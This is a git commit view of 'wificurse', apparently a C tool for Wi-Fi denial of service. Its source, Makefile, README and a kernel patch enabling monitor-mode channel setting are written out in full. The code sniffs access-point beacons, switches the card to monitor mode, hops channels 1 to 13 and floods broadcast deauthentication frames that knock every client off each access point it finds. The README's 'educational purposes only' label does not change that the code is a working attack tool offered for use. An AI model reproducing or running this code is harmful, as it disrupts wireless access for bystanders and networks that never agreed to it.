wificurse

wifi jamming tool
git clone git://git.2f30.org/wificurse.git
Log | Files | Refs | README | LICENSE

commit 225b545a0326dcbd9cead9bd17e12f32bd6bf3ee
Author: oblique <psyberbits@gmail.com>
Date:   Wed Feb 29 18:57:29 +0200

wificurse first commit

Diffstat:
LICENSE | 674+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Makefile | 13+++++++++++++
README | 18++++++++++++++++++
error.c | 61+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
error.h | 40++++++++++++++++++++++++++++++++++++++++
patches/cfg80211_monitor_mode_channel_-1_fix.patch | 14++++++++++++++
wificurse.c | 363+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
wificurse.h | 99+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
8 files changed, 1282 insertions(+), 0 deletions(-)
diff --git a/LICENSE b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. 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Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +<http://www.gnu.org/licenses/>. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +<http://www.gnu.org/philosophy/why-not-lgpl.html>. diff --git a/Makefile b/Makefile @@ -0,0 +1,13 @@ +CC = $(CROSS_COMPILE)gcc +OBJS = wificurse.o error.o + +all: wificurse + +wificurse: $(OBJS) + $(CC) -o $@ $^ + +%.o: %.c %.h + $(CC) -c -o $@ $< + +clean: + @rm -f *~ *.o wificurse diff --git a/README b/README @@ -0,0 +1,17 @@ +This program listens for beacons send from wireless access points +in the range of your wireless station. Once received the program +extracts the BSSID of the AP and transmits deauthentication packages +using the broadcast MAC address. This results to the disconnection +of all clients connected at the AP at the time of the attack. This +is essencially a WiFi DoS attack tool created for educational +purposes only. It works only in Linux and requires wireless card +drivers capable of injecting packets in wireless networks. + +If your Linux kernel is version 2.6.35 or above, you have to +apply the patch patches/cfg80211_monitor_mode_channel_-1_fix.patch +to the kernel. + +How to use it: Just run it as root and put as first argument the +card interface. It will put your interface in monitor mode automatically, +it will start DoSing and change channel every 3 seconds. The channel +range is 1 - 13.+ \ No newline at end of file diff --git a/error.c b/error.c @@ -0,0 +1,61 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) <2012> <oblique> + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <stdio.h> +#include <stdlib.h> +#include <stdarg.h> +#include <string.h> +#include "error.h" + +struct _error { + int errnum; + int line; + char *file; + char msg[1024]; +}; + +static struct _error __thread _error; + + +void set_error(char *file, int line, int errnum, char *fmt, ...) { + va_list args; + + _error.file = file; + _error.line = line; + _error.errnum = errnum; + va_start(args, fmt); + vsnprintf(_error.msg, sizeof(_error.msg), fmt, args); + va_end(args); +} + +void print_error() { + char buf[1024]; + strerror_r(_error.errnum, buf, sizeof(buf)); + fprintf(stderr, "%s:%d: %s: %s\n", _error.file, _error.line, _error.msg, buf); +} + +void _err_msg(char *file, int line, int errnum, char *fmt, ...) { + char buf[1024], msg[1024]; + va_list args; + + va_start(args, fmt); + vsnprintf(msg, sizeof(msg), fmt, args); + va_end(args); + strerror_r(errnum, buf, sizeof(buf)); + fprintf(stderr, "%s:%d: %s: %s\n", file, line, msg, buf); +} diff --git a/error.h b/error.h @@ -0,0 +1,40 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) <2012> <oblique> + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef ERROR_H +#define ERROR_H + +#include <errno.h> + + +void set_error(char *file, int line, int errnum, char *fmt, ...); +void print_error(); +void _err_msg(char *file, int line, int errnum, char *fmt, ...); + +#define GOTERR -1 + +#define return_error(fmt, ...) \ +do { \ + set_error(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__); \ + return GOTERR; \ +} while(0) + +#define err_msg(fmt, ...) \ + _err_msg(__FILE__, __LINE__, errno, fmt, ##__VA_ARGS__); + +#endif diff --git a/patches/cfg80211_monitor_mode_channel_-1_fix.patch b/patches/cfg80211_monitor_mode_channel_-1_fix.patch @@ -0,0 +1,14 @@ +diff --git a/net/wireless/chan.c b/net/wireless/chan.c +index 2fcfe09..3f63fae 100644 +--- a/net/wireless/chan.c ++++ b/net/wireless/chan.c +@@ -85,9 +85,6 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev, + struct ieee80211_channel *chan; + int result; + +- if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) +- wdev = NULL; +- + if (wdev) { + ASSERT_WDEV_LOCK(wdev); + diff --git a/wificurse.c b/wificurse.c @@ -0,0 +1,363 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) <2012> <oblique> + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <string.h> +#include <errno.h> +#include <poll.h> +#include <signal.h> +#include <sys/socket.h> +#include <sys/ioctl.h> +#include <net/ethernet.h> +#include <netpacket/packet.h> +#include <linux/wireless.h> +#include "error.h" +#include "wificurse.h" + + +void init_dev(struct dev *dev) { + memset(dev, 0, sizeof(*dev)); + dev->fd = -1; +} + +/* man 7 netdevice + * man 7 packet + */ +int iw_open(struct dev *dev) { + struct ifreq ifr; + struct iwreq iwr; + struct sockaddr_ll sll; + struct packet_mreq mreq; + int fd; + + fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (fd < 0) + return_error("socket"); + dev->fd = fd; + + // save current interface flags + memset(&dev->old_flags, 0, sizeof(dev->old_flags)); + strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1); + if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0) + return_error("ioctl(SIOCGIFFLAGS)"); + + // save current interface mode + memset(&dev->old_mode, 0, sizeof(dev->old_mode)); + strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1); + if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0) + return_error("ioctl(SIOCGIWMODE)"); + + // set interface down (ifr_flags = 0) + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); + if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) + return_error("ioctl(SIOCSIFFLAGS)"); + + // set monitor mode + memset(&iwr, 0, sizeof(iwr)); + strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); + iwr.u.mode = IW_MODE_MONITOR; + if (ioctl(fd, SIOCSIWMODE, &iwr) < 0) + return_error("ioctl(SIOCSIWMODE)"); + + // set interface up, broadcast and running + ifr.ifr_flags = IFF_UP | IFF_BROADCAST | IFF_RUNNING; + if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) + return_error("ioctl(SIOCSIFFLAGS)"); + + // get interface index + if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) + return_error("ioctl(SIOCGIFINDEX)"); + dev->ifindex = ifr.ifr_ifindex; + + // bind interface to socket + memset(&sll, 0, sizeof(sll)); + sll.sll_family = AF_PACKET; + sll.sll_ifindex = dev->ifindex; + sll.sll_protocol = htons(ETH_P_ALL); + if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0) + return_error("bind(%s)", dev->ifname); + + // enable promiscuous mode + memset(&mreq, 0, sizeof(mreq)); + mreq.mr_ifindex = dev->ifindex; + mreq.mr_type = PACKET_MR_PROMISC; + if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) + return_error("setsockopt(PACKET_MR_PROMISC)"); + + return 0; +} + +void iw_close(struct dev *dev) { + struct ifreq ifr; + + if (dev->fd == -1) + return; + + // set interface down (ifr_flags = 0) + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); + ioctl(dev->fd, SIOCSIFFLAGS, &ifr); + // restore old mode + ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode); + // restore old flags + ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags); + close(dev->fd); +} + +ssize_t iw_write(int fd, void *buf, size_t count) { + unsigned char *pbuf, *pkt; + struct radiotap_hdr *rt_hdr; + struct write_radiotap_data *w_rt_data; + ssize_t r; + + pbuf = malloc(sizeof(*rt_hdr) + sizeof(*w_rt_data) + count); + if (pbuf == NULL) + return_error("malloc"); + + rt_hdr = (struct radiotap_hdr*)pbuf; + w_rt_data = (struct write_radiotap_data*)(pbuf + sizeof(*rt_hdr)); + pkt = pbuf + sizeof(*rt_hdr) + sizeof(*w_rt_data); + + // radiotap header + memset(rt_hdr, 0, sizeof(*rt_hdr)); + rt_hdr->len = sizeof(*rt_hdr) + sizeof(*w_rt_data); + rt_hdr->present = RADIOTAP_F_PRESENT_RATE | RADIOTAP_F_PRESENT_TX_FLAGS; + // radiotap fields + memset(w_rt_data, 0, sizeof(*w_rt_data)); + w_rt_data->rate = 2; // 1 Mb/s + w_rt_data->tx_flags = RADIOTAP_F_TX_FLAGS_NOACK | RADIOTAP_F_TX_FLAGS_NOSEQ; + // packet + memcpy(pkt, buf, count); + + r = send(fd, pbuf, rt_hdr->len + count, 0); + if (r < 0) { + free(pbuf); + return_error("send"); + } + + free(pbuf); + return r - rt_hdr->len; +} + +ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) { + struct radiotap_hdr *rt_hdr; + int r; + + // read packet, nonblocking mode + r = recv(fd, buf, count, MSG_DONTWAIT); + if (r < 0) { + if (errno == EAGAIN) // no packets to recieve + return -EAGAIN; + return_error("recv"); + } + + rt_hdr = buf; + if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r) + return -EAGAIN; + + *pkt = buf + rt_hdr->len; + *pkt_sz = r - rt_hdr->len; + + return r; +} + +int iw_set_channel(struct dev *dev, int chan) { + struct iwreq iwr; + + memset(&iwr, 0, sizeof(iwr)); + strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); + iwr.u.freq.flags = IW_FREQ_FIXED; + iwr.u.freq.m = chan; + + if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) + return_error("ioctl(SIOCSIWFREQ)"); + + dev->chan = chan; + + return 0; +} + +int send_deauth(int fd, unsigned char *ap_mac) { + struct mgmt_frame *deauth; + uint16_t *reason; + int i; + + deauth = malloc(sizeof(*deauth) + sizeof(*reason)); + if (deauth == NULL) + return_error("malloc"); + + memset(deauth, 0, sizeof(deauth)); + deauth->fc.subtype = FRAME_CONTROL_SUBTYPE_DEAUTH; + // broadcast mac (ff:ff:ff:ff:ff:ff) + memset(deauth->dest_mac, '\xff', IFHWADDRLEN); + memcpy(deauth->src_mac, ap_mac, IFHWADDRLEN); + memcpy(deauth->bssid, ap_mac, IFHWADDRLEN); + reason = (uint16_t*)&deauth->frame_body; + // reason 7: Class 3 frame received from nonassociated STA + *reason = htons(7); + + // flood the network + for (i=0; i<128; i++) { + deauth->sc.sequence = i; + if (iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason)) < 0) { + free(deauth); + return GOTERR; + } + usleep(2000); + } + + free(deauth); + + return 0; +} + +int read_bssid(int fd, uint8_t *bssid) { + uint8_t buf[256], *pkt; + size_t pkt_sz; + ssize_t r; + struct mgmt_frame *beacon; + + r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz); + if (r == -EAGAIN) + return -EAGAIN; + else if (r < 0) + return GOTERR; + + beacon = (struct mgmt_frame*)pkt; + + // if beacon packet + if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) { + memcpy(bssid, beacon->bssid, IFHWADDRLEN); + return 0; + } + + return -EAGAIN; +} + +void print_mac(uint8_t *mac) { + int i; + + for (i=0; i<5; i++) + printf("%02x:", mac[i]); + printf("%02x", mac[i]); +} + + +int main(int argc, char *argv[]) { + struct dev dev; + uint8_t bssid[IFHWADDRLEN]; + sigset_t exit_sig; + struct pollfd pfd; + time_t tm1; + int chan, ret, sigfd; + + if (argc != 2) { + fprintf(stderr, "usage: wificurse <interface>\n"); + return EXIT_FAILURE; + } + + if (getuid()) { + fprintf(stderr, "Not root?\n"); + return EXIT_FAILURE; + } + + + // init signals + sigemptyset(&exit_sig); + sigaddset(&exit_sig, SIGINT); + sigaddset(&exit_sig, SIGTERM); + + if (sigprocmask(SIG_BLOCK, &exit_sig, NULL) < 0) { + err_msg("sigprocmask"); + return EXIT_FAILURE; + } + + sigfd = signalfd(-1, &exit_sig, 0); + if (sigfd < 0) { + err_msg("signalfd"); + return EXIT_FAILURE; + } + + pfd.fd = sigfd; + pfd.revents = 0; + pfd.events = POLLIN; + + + init_dev(&dev); + strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1); + + if (iw_open(&dev) < 0) { + print_error(); + goto _errout; + } + + tm1 = time(NULL); + chan = 1; + + if (iw_set_channel(&dev, chan) < 0) { + print_error(); + goto _errout; + } + printf("Channel: %d\n", dev.chan); + + while (1) { + if (poll(&pfd, 1, 0) < 0) { + err_msg("poll"); + goto _errout; + } + + if (pfd.revents & POLLIN) // got SIGTERM or SIGINT + break; + + if (time(NULL) - tm1 >= 3) { // change channel every 3 seconds + chan = (chan % 13) + 1; + if (iw_set_channel(&dev, chan) < 0) { + print_error(); + goto _errout; + } + printf("Channel: %d\n", dev.chan); + tm1 = time(NULL); + } + + ret = read_bssid(dev.fd, bssid); + if (ret == -EAGAIN) + continue; + if (ret < 0) { // error + print_error(); + goto _errout; + } else { // got BSSID + printf("DoS BSSID "); + print_mac(bssid); + printf("\n"); + if (send_deauth(dev.fd, bssid) < 0) { + print_error(); + goto _errout; + } + } + } + + printf("\nExiting..\n"); + iw_close(&dev); + return EXIT_SUCCESS; +_errout: + iw_close(&dev); + return EXIT_FAILURE; +} diff --git a/wificurse.h b/wificurse.h @@ -0,0 +1,99 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) <2012> <oblique> + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef WIFICURSE_H +#define WIFICURSE_H + +#include <stdlib.h> +#include <stdint.h> +#include <sys/socket.h> +#include <linux/if.h> + + +struct dev { + char ifname[IFNAMSIZ+1]; + int ifindex; + int fd; + int chan; + struct ifreq old_flags; + struct iwreq old_mode; +}; + + +struct radiotap_hdr { + uint8_t version; + uint8_t pad; + uint16_t len; + uint32_t present; +} __attribute__((__packed__)); + +struct write_radiotap_data { + uint8_t rate; + uint8_t pad; + uint16_t tx_flags; +} __attribute__((__packed__)); + +#define RADIOTAP_F_PRESENT_RATE (1<<2) +#define RADIOTAP_F_PRESENT_TX_FLAGS (1<<15) +#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008 +#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010 + +struct frame_control { + uint8_t protocol_version:2; + uint8_t type:2; + uint8_t subtype:4; + uint8_t to_ds:1; + uint8_t from_ds:1; + uint8_t more_frag:1; + uint8_t retry:1; + uint8_t pwr_mgt:1; + uint8_t more_data:1; + uint8_t protected_frame:1; + uint8_t order:1; +} __attribute__((__packed__)); + +#define FRAME_CONTROL_SUBTYPE_DEAUTH 12 +#define FRAME_CONTROL_SUBTYPE_BEACON 8 + +struct sequence_control { + uint16_t fragment:4; + uint16_t sequence:12; +} __attribute__((__packed__)); + +struct mgmt_frame { + struct frame_control fc; + uint16_t duration; + uint8_t dest_mac[IFHWADDRLEN]; + uint8_t src_mac[IFHWADDRLEN]; + uint8_t bssid[IFHWADDRLEN]; + struct sequence_control sc; + uint8_t frame_body[]; +} __attribute__((__packed__)); + + +void init_dev(struct dev *dev); +int iw_open(struct dev *dev); +void iw_close(struct dev *dev); +ssize_t iw_write(int fd, void *buf, size_t count); +ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz); +int iw_set_channel(struct dev *dev, int chan); +int send_deauth(int fd, unsigned char *ap_mac); +int read_bssid(int fd, uint8_t *bssid); +void print_mac(uint8_t *mac); + +#endif